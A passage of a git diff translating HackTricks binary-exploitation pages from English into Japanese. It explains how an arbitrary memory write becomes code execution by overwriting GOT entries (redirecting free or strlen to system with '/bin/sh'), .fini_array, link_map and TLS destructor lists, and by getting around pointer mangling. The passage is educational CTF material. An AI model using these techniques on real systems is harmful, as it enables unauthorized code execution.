は、動的リンクバイナリで外部関数の**アドレスを管理するためのメカニズム**です。これらの**アドレスは実行時まで知られない**ため(動的リンクのため)、GOTは**これらの外部シンボルのアドレスを動的に更新する方法**を提供します。 -Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again. +GOTの各エントリは、バイナリが呼び出す可能性のある外部ライブラリのシンボルに対応しています。**関数が最初に呼び出されると、動的リンカーによってその実際のアドレスが解決され、GOTに保存されます**。同じ関数への後続の呼び出しは、GOTに保存されたアドレスを使用し、再度アドレスを解決するオーバーヘッドを回避します。 -### **PLT: Procedure Linkage Table** +### **PLT: プロシージャリンクテーブル** -The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**. +**プロシージャリンクテーブル (PLT)** はGOTと密接に連携し、外部関数への呼び出しを処理するためのトランポリンとして機能します。バイナリが**外部関数を初めて呼び出すと、制御はその関数に関連付けられたPLTのエントリに渡されます**。このPLTエントリは、関数のアドレスがまだ解決されていない場合、動的リンカーを呼び出してアドレスを解決する責任があります。アドレスが解決された後、それは**GOT**に保存されます。 -**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker. +**したがって、** GOTエントリは外部関数または変数のアドレスが解決された後に直接使用されます。**PLTエントリは、動的リンカーを介してこれらのアドレスの初期解決を促進するために使用されます。** -## Get Execution +## 実行を取得 -### Check the GOT +### GOTを確認 -Get the address to the GOT table with: **`objdump -s -j .got ./exec`** +GOTテーブルのアドレスを取得するには、**`objdump -s -j .got ./exec`**を使用します。 ![](<../../images/image (121).png>) -Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT` +GEFで**実行可能ファイル**を**読み込む**と、**GOT**にある**関数**を**見ることができます**: `gef➤ x/20x 0xADDR_GOT` -![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) +![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) -Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table: +GEFを使用して**デバッグ**セッションを**開始**し、**`got`**を実行してGOTテーブルを表示できます。 ![](<../../images/image (496).png>) ### GOT2Exec -In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example. +バイナリ内のGOTは、関数の**アドレス**またはその関数アドレスを読み込む**PLT**セクションのアドレスを持っています。この任意の書き込みの目的は、後で実行される関数の**GOTエントリを上書きすること**です。例えば、**`system`** **関数**のPLTの**アドレス**で上書きします。 -Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function). +理想的には、**あなたが制御するパラメータで呼び出される関数の**GOTを**上書き**します(これにより、system関数に送信されるパラメータを制御できます)。 -If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address. +もし**`system`** **がバイナリで使用されていない場合**、system関数はPLTにエントリを持ちません。このシナリオでは、最初に`system`関数のアドレスを**リーク**し、その後GOTをこのアドレスを指すように上書きする必要があります。 -You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`** +PLTアドレスは**`objdump -j .plt -d ./vuln_binary`**で確認できます。 -## libc GOT entries +## libc GOTエントリ -The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)). +**libcのGOT**は通常、**部分的RELRO**でコンパイルされており、そのアドレスを特定できる場合には良いターゲットとなります([**ASLR**](../common-binary-protections-and-bypasses/aslr/))。 -Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution. +libcの一般的な関数は、**他の内部関数**を呼び出し、そのGOTを上書きすることでコード実行を得ることができます。 -Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries). +[**この技術に関する詳細情報はこちら**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)を参照してください。 ### **Free2system** -In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`. +ヒープのエクスプロイトCTFでは、チャンクの内容を制御でき、時にはGOTテーブルを上書きすることが一般的です。利用できるガジェットがない場合にRCEを得るための簡単なトリックは、`free`のGOTアドレスを`system`を指すように上書きし、チャンク内に`"/bin/sh"`を書き込むことです。このようにして、このチャンクが解放されると、`system("/bin/sh")`が実行されます。 ### **Strlen2system** -Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell. +もう一つの一般的な技術は、**`strlen`**のGOTアドレスを**`system`**を指すように上書きすることです。これにより、この関数がユーザー入力で呼び出されると、文字列`"/bin/sh"`を渡してシェルを取得することが可能になります。 -Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**. +さらに、`puts`がユーザー入力で使用される場合、`strlen`のGOTアドレスを`system`を指すように上書きし、文字列`"/bin/sh"`を渡してシェルを取得することが可能です。なぜなら、**`puts`はユーザー入力で`strlen`を呼び出すからです**。 ## **One Gadget** @@ -66,22 +66,22 @@ Moreover, if `puts` is used with user input, it's possible to overwrite the `str ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} -## **Abusing GOT from Heap** +## **ヒープからのGOTの悪用** -A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\ -Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell. +ヒープの脆弱性からRCEを取得する一般的な方法は、ファストビンを悪用することです。これにより、GOTテーブルの一部をファストビンに追加できるため、そのチャンクが割り当てられると、**通常は`free`のポインタを上書きすることが可能になります**。\ +その後、`free`を`system`に指し、`/bin/sh\x00`が書き込まれたチャンクを解放すると、シェルが実行されます。 -It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.** +[**ここに例があります**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**。** -## **Protections** +## **保護** -The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it: +**フルRELRO**保護は、この種の技術から保護するために、バイナリが起動されるときにすべての関数のアドレスを解決し、その後**GOTテーブルを読み取り専用**にすることを目的としています。 {{#ref}} ../common-binary-protections-and-bypasses/relro.md {{#endref}} -## References +## 参考文献 - [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md index 31e45fba4..208e71294 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md @@ -5,52 +5,48 @@ ## .dtors > [!CAUTION] -> Nowadays is very **weird to find a binary with a .dtors section!** +> 現在、**.dtors セクションを持つバイナリを見つけるのは非常に奇妙です!** -The destructors are functions that are **executed before program finishes** (after the `main` function returns).\ -The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends. - -Get the address of this section with: +デストラクタは、**プログラムが終了する前に実行される関数**です(`main` 関数が戻った後)。\ +これらの関数のアドレスはバイナリの **`.dtors`** セクションに格納されているため、**`__DTOR_END__`** に**シェルコード**の**アドレス**を書き込むことができれば、それはプログラムが終了する前に**実行されます**。 +このセクションのアドレスを取得するには: ```bash objdump -s -j .dtors /exec rabin -s /exec | grep “__DTOR” ``` - -Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it. +通常、**DTOR** マーカーは、値 `ffffffff` と `00000000` の **間** に見つかります。したがって、これらの値だけが見える場合、**登録された関数はありません**。したがって、**`00000000`** を **シェルコード** の **アドレス** で **上書き** します。 > [!WARNING] -> Ofc, you first need to find a **place to store the shellcode** in order to later call it. +> もちろん、最初に **シェルコードを格納する場所** を見つける必要があります。その後、呼び出すことができます。 ## **.fini_array** -Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**. - +基本的に、これはプログラムが終了する前に呼び出される **関数の構造** です。これは **`.dtors`** のように、**アドレスにジャンプしてシェルコードを呼び出す** ことができる場合や、**再度 `main` に戻る** 必要がある場合に興味深いです。**脆弱性を再度悪用するために**。 ```bash objdump -s -j .fini_array ./greeting ./greeting: file format elf32-i386 Contents of section .fini_array: - 8049934 a0850408 +8049934 a0850408 #Put your address in 0x8049934 ``` +注意すべきは、**`.fini_array`** の関数が実行されると次の関数に移動するため、何度も実行されることはなく(無限ループを防ぐ)、ここに配置された関数の**1回の実行**のみが行われることです。 -Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here. +**`.fini_array`** のエントリは**逆**の順序で呼び出されるため、最後のエントリから書き始めることをお勧めします。 -Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one. +#### 無限ループ -#### Eternal loop +**`.fini_array`** を悪用して無限ループを得るためには、[**ここで行われたことを確認する**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** **`.fini_array`** に少なくとも2つのエントリがある場合、次のことができます: -In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can: - -- Use your first write to **call the vulnerable arbitrary write function** again -- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`** - - This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again. +- 最初の書き込みを使用して**脆弱な任意書き込み関数**を再度呼び出す +- 次に、**`__libc_csu_fini`** によってスタックに保存された戻りアドレスを計算し、そこに**`__libc_csu_fini`**の**アドレス**を置く +- これにより、**`__libc_csu_fini`** が再度自分自身を呼び出し、**`.fini_array`** の関数を再度実行し、脆弱なWWW関数を2回呼び出します:1回は**任意書き込み**のため、もう1回はスタック上の**`__libc_csu_fini`**の戻りアドレスを再度上書きするために自分自身を呼び出します。 > [!CAUTION] -> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**. -> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also. +> [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**では、**セクション**`.fini_array`**は**読み取り専用**になります。 +> 新しいバージョンでは、[**Partial RELRO**]でもセクション**`.fini_array`**は**読み取り専用**になります。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md index 97c286231..0f6765a46 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md @@ -1,39 +1,38 @@ -# WWW2Exec - atexit(), TLS Storage & Other mangled Pointers +# WWW2Exec - atexit(), TLSストレージとその他の混乱したポインタ {{#include ../../banners/hacktricks-training.md}} -## **\_\_atexit Structures** +## **\_\_atexit構造体** > [!CAUTION] -> Nowadays is very **weird to exploit this!** +> 現在、これを悪用するのは非常に**奇妙です!** -**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ -If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ -Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\ -The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. +**`atexit()`**は、**他の関数がパラメータとして渡される**関数です。これらの**関数**は、**`exit()`**を実行するか、**main**の**戻り**時に**実行されます**。\ +もしこれらの**関数**の**アドレス**をシェルコードなどを指すように**変更**できれば、**プロセス**を**制御**することができますが、現在はこれがより複雑です。\ +現在、実行される**関数へのアドレス**は、いくつかの構造の背後に**隠されており**、最終的に指すアドレスは関数のアドレスではなく、**XORで暗号化され**、**ランダムキー**でオフセットされています。したがって、現在この攻撃ベクターは**少なくともx86**および**x64_86**では**あまり役に立ちません**。\ +**暗号化関数**は**`PTR_MANGLE`**です。**m68k、mips32、mips64、aarch64、arm、hppa**などの**他のアーキテクチャ**は、**暗号化**関数を**実装していません**。なぜなら、それは**入力として受け取ったものと同じ**を返すからです。したがって、これらのアーキテクチャはこのベクターで攻撃可能です。 -You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) +この仕組みの詳細な説明は[https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)で見つけることができます。 ## link_map -As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors. +[**この投稿**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure)で説明されているように、プログラムが`return`または`exit()`を使用して終了すると、`__run_exit_handlers()`が実行され、登録されたデストラクタが呼び出されます。 > [!CAUTION] -> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it. - -The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)): +> プログラムが**`_exit()`**関数を介して終了すると、**`exit`システムコール**が呼び出され、終了ハンドラは実行されません。したがって、`__run_exit_handlers()`が実行されることを確認するには、ブレークポイントを設定できます。 +重要なコードは([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)): ```c ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY]; if (fini_array != NULL) - { - ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr); - size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); +{ +ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr); +size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); - while (sz-- > 0) - ((fini_t) array[sz]) (); - } - [...] +while (sz-- > 0) +((fini_t) array[sz]) (); +} +[...] @@ -41,198 +40,187 @@ if (fini_array != NULL) // This is the d_un structure ptype l->l_info[DT_FINI_ARRAY]->d_un type = union { - Elf64_Xword d_val; // address of function that will be called, we put our onegadget here - Elf64_Addr d_ptr; // offset from l->l_addr of our structure +Elf64_Xword d_val; // address of function that will be called, we put our onegadget here +Elf64_Addr d_ptr; // offset from l->l_addr of our structure } ``` +`map -> l_addr + fini_array -> d_un.d_ptr` を使用して **呼び出す関数の配列の位置を計算**することに注意してください。 -Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**. +**いくつかのオプション**があります: -There are a **couple of options**: - -- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code -- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled. - - [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array. - - According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example. - -Following the previous code you can find another interesting section with the code: +- `map->l_addr` の値を上書きして、任意のコードを実行するための **偽の `fini_array`** を指すようにします。 +- `l_info[DT_FINI_ARRAY]` と `l_info[DT_FINI_ARRAYSZ]` のエントリ(メモリ内でほぼ連続しています)を上書きして、**偽の `Elf64_Dyn`** 構造体を指すようにします。これにより、再び **`array` が攻撃者が制御するメモリ** ゾーンを指すようになります。 +- [**この解説**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) は、`l_info[DT_FINI_ARRAY]` を `.bss` 内の制御されたメモリのアドレスで上書きし、偽の `fini_array` を含むものです。この偽の配列には、最初に実行される **[**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) のアドレス** が含まれ、その後にこの **偽の配列** のアドレスと `map->l_addr` の **値** の間の **差** が含まれ、`*array` が偽の配列を指すようになります。 +- この技術の主な投稿と [**この解説**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) によると、ld.so はスタック上にバイナリ `link_map` を指すポインタを残します。任意の書き込みを使用してこれを上書きし、攻撃者が制御する偽の `fini_array` を指すようにすることが可能です。例えば、**[**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md)** のアドレスを含むものです。 +前のコードに続いて、次のコードを含む別の興味深いセクションがあります: ```c /* Next try the old-style destructor. */ ElfW(Dyn) *fini = map->l_info[DT_FINI]; if (fini != NULL) - DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); +DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); } ``` +この場合、偽造された `ElfW(Dyn)` 構造体を指す `map->l_info[DT_FINI]` の値を上書きすることが可能です。 [**こちらに詳細情報があります**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure)。 -In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure). +## TLS-Storage dtor_list の上書き in **`__run_exit_handlers`** -## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`** - -As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered. - -Code from `_run_exit_handlers()`: +[**こちらに説明があります**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite)が、プログラムが `return` または `exit()` を介して終了すると、登録されたデストラクタ関数を呼び出す **`__run_exit_handlers()`** が実行されます。 +`_run_exit_handlers()` のコード: ```c /* Call all functions registered with `atexit' and `on_exit', - in the reverse of the order in which they were registered - perform stdio cleanup, and terminate program execution with STATUS. */ +in the reverse of the order in which they were registered +perform stdio cleanup, and terminate program execution with STATUS. */ void attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp, - bool run_list_atexit, bool run_dtors) +bool run_list_atexit, bool run_dtors) { - /* First, call the TLS destructors. */ +/* First, call the TLS destructors. */ #ifndef SHARED - if (&__call_tls_dtors != NULL) +if (&__call_tls_dtors != NULL) #endif - if (run_dtors) - __call_tls_dtors (); +if (run_dtors) +__call_tls_dtors (); ``` - -Code from **`__call_tls_dtors()`**: - +**`__call_tls_dtors()`** のコード: ```c typedef void (*dtor_func) (void *); struct dtor_list //struct added { - dtor_func func; - void *obj; - struct link_map *map; - struct dtor_list *next; +dtor_func func; +void *obj; +struct link_map *map; +struct dtor_list *next; }; [...] /* Call the destructors. This is called either when a thread returns from the - initial function or when the process exits via the exit function. */ +initial function or when the process exits via the exit function. */ void __call_tls_dtors (void) { - while (tls_dtor_list) // parse the dtor_list chained structures - { - struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list - dtor_func func = cur->func; - PTR_DEMANGLE (func); // demangle the function ptr +while (tls_dtor_list) // parse the dtor_list chained structures +{ +struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list +dtor_func func = cur->func; +PTR_DEMANGLE (func); // demangle the function ptr - tls_dtor_list = tls_dtor_list->next; // next dtor_list structure - func (cur->obj); - [...] - } +tls_dtor_list = tls_dtor_list->next; // next dtor_list structure +func (cur->obj); +[...] +} } ``` +各登録された関数は **`tls_dtor_list`** において、**`cur->func`** からポインタをデマンガリングし、引数 **`cur->obj`** で呼び出されます。 -For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**. - -Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\ -Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.** - -Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits: +この [**GEFのフォーク**](https://github.com/bata24/gef) の **`tls`** 関数を使用すると、実際に **`dtor_list`** が **スタックカナリア** と **PTR_MANGLEクッキー** に非常に **近い** ことがわかります。したがって、これに対するオーバーフローがあれば、**クッキー** と **スタックカナリア** を **上書き** することが可能です。\ +PTR_MANGLEクッキーを上書きすることで、**`PTR_DEMANLE` 関数をバイパス** することが可能になり、0x00に設定することで、**実際のアドレスを取得するために使用される `xor`** は設定されたアドレスになります。次に、**`dtor_list`** に書き込むことで、関数の **アドレス** とその **引数** を持つ **複数の関数をチェーン** することが可能です。 +最後に、保存されたポインタはクッキーと **xored** されるだけでなく、17ビット回転されることに注意してください: ```armasm 0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr 0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits 0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE ``` +新しいアドレスを追加する前に、これを考慮する必要があります。 -So you need to take this into account before adding a new address. +[**元の投稿**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) から例を見つけてください。 -Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite). +## **`__run_exit_handlers`** における他の混乱したポインタ -## Other mangled pointers in **`__run_exit_handlers`** - -This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called. - -Let's check more code of this function: +この技術は [**ここで説明されています**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) であり、プログラムが **`return` または `exit()`** を呼び出して終了することに再び依存しているため、**`__run_exit_handlers()`** が呼び出されます。 +この関数のコードをさらに確認してみましょう: ```c - while (true) - { - struct exit_function_list *cur; +while (true) +{ +struct exit_function_list *cur; - restart: - cur = *listp; +restart: +cur = *listp; - if (cur == NULL) - { - /* Exit processing complete. We will not allow any more - atexit/on_exit registrations. */ - __exit_funcs_done = true; - break; - } +if (cur == NULL) +{ +/* Exit processing complete. We will not allow any more +atexit/on_exit registrations. */ +__exit_funcs_done = true; +break; +} - while (cur->idx > 0) - { - struct exit_function *const f = &cur->fns[--cur->idx]; - const uint64_t new_exitfn_called = __new_exitfn_called; +while (cur->idx > 0) +{ +struct exit_function *const f = &cur->fns[--cur->idx]; +const uint64_t new_exitfn_called = __new_exitfn_called; - switch (f->flavor) - { - void (*atfct) (void); - void (*onfct) (int status, void *arg); - void (*cxafct) (void *arg, int status); - void *arg; +switch (f->flavor) +{ +void (*atfct) (void); +void (*onfct) (int status, void *arg); +void (*cxafct) (void *arg, int status); +void *arg; - case ef_free: - case ef_us: - break; - case ef_on: - onfct = f->func.on.fn; - arg = f->func.on.arg; - PTR_DEMANGLE (onfct); +case ef_free: +case ef_us: +break; +case ef_on: +onfct = f->func.on.fn; +arg = f->func.on.arg; +PTR_DEMANGLE (onfct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - onfct (status, arg); - __libc_lock_lock (__exit_funcs_lock); - break; - case ef_at: - atfct = f->func.at; - PTR_DEMANGLE (atfct); +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +onfct (status, arg); +__libc_lock_lock (__exit_funcs_lock); +break; +case ef_at: +atfct = f->func.at; +PTR_DEMANGLE (atfct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - atfct (); - __libc_lock_lock (__exit_funcs_lock); - break; - case ef_cxa: - /* To avoid dlclose/exit race calling cxafct twice (BZ 22180), - we must mark this function as ef_free. */ - f->flavor = ef_free; - cxafct = f->func.cxa.fn; - arg = f->func.cxa.arg; - PTR_DEMANGLE (cxafct); +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +atfct (); +__libc_lock_lock (__exit_funcs_lock); +break; +case ef_cxa: +/* To avoid dlclose/exit race calling cxafct twice (BZ 22180), +we must mark this function as ef_free. */ +f->flavor = ef_free; +cxafct = f->func.cxa.fn; +arg = f->func.cxa.arg; +PTR_DEMANGLE (cxafct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - cxafct (arg, status); - __libc_lock_lock (__exit_funcs_lock); - break; - } +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +cxafct (arg, status); +__libc_lock_lock (__exit_funcs_lock); +break; +} - if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) - /* The last exit function, or another thread, has registered - more exit functions. Start the loop over. */ - goto restart; - } +if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) +/* The last exit function, or another thread, has registered +more exit functions. Start the loop over. */ +goto restart; +} - *listp = cur->next; - if (*listp != NULL) - /* Don't free the last element in the chain, this is the statically - allocate element. */ - free (cur); - } +*listp = cur->next; +if (*listp != NULL) +/* Don't free the last element in the chain, this is the statically +allocate element. */ +free (cur); +} - __libc_lock_unlock (__exit_funcs_lock); +__libc_lock_unlock (__exit_funcs_lock); ``` +変数 `f` は **`initial`** 構造体を指しており、`f->flavor` の値に応じて異なる関数が呼び出されます。\ +値に応じて、呼び出す関数のアドレスは異なる場所にありますが、常に **demangled** されています。 -The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\ -Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**. +さらに、オプション **`ef_on`** と **`ef_cxa`** では **引数** を制御することも可能です。 -Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**. +デバッグセッションで GEF を実行して **`gef> p 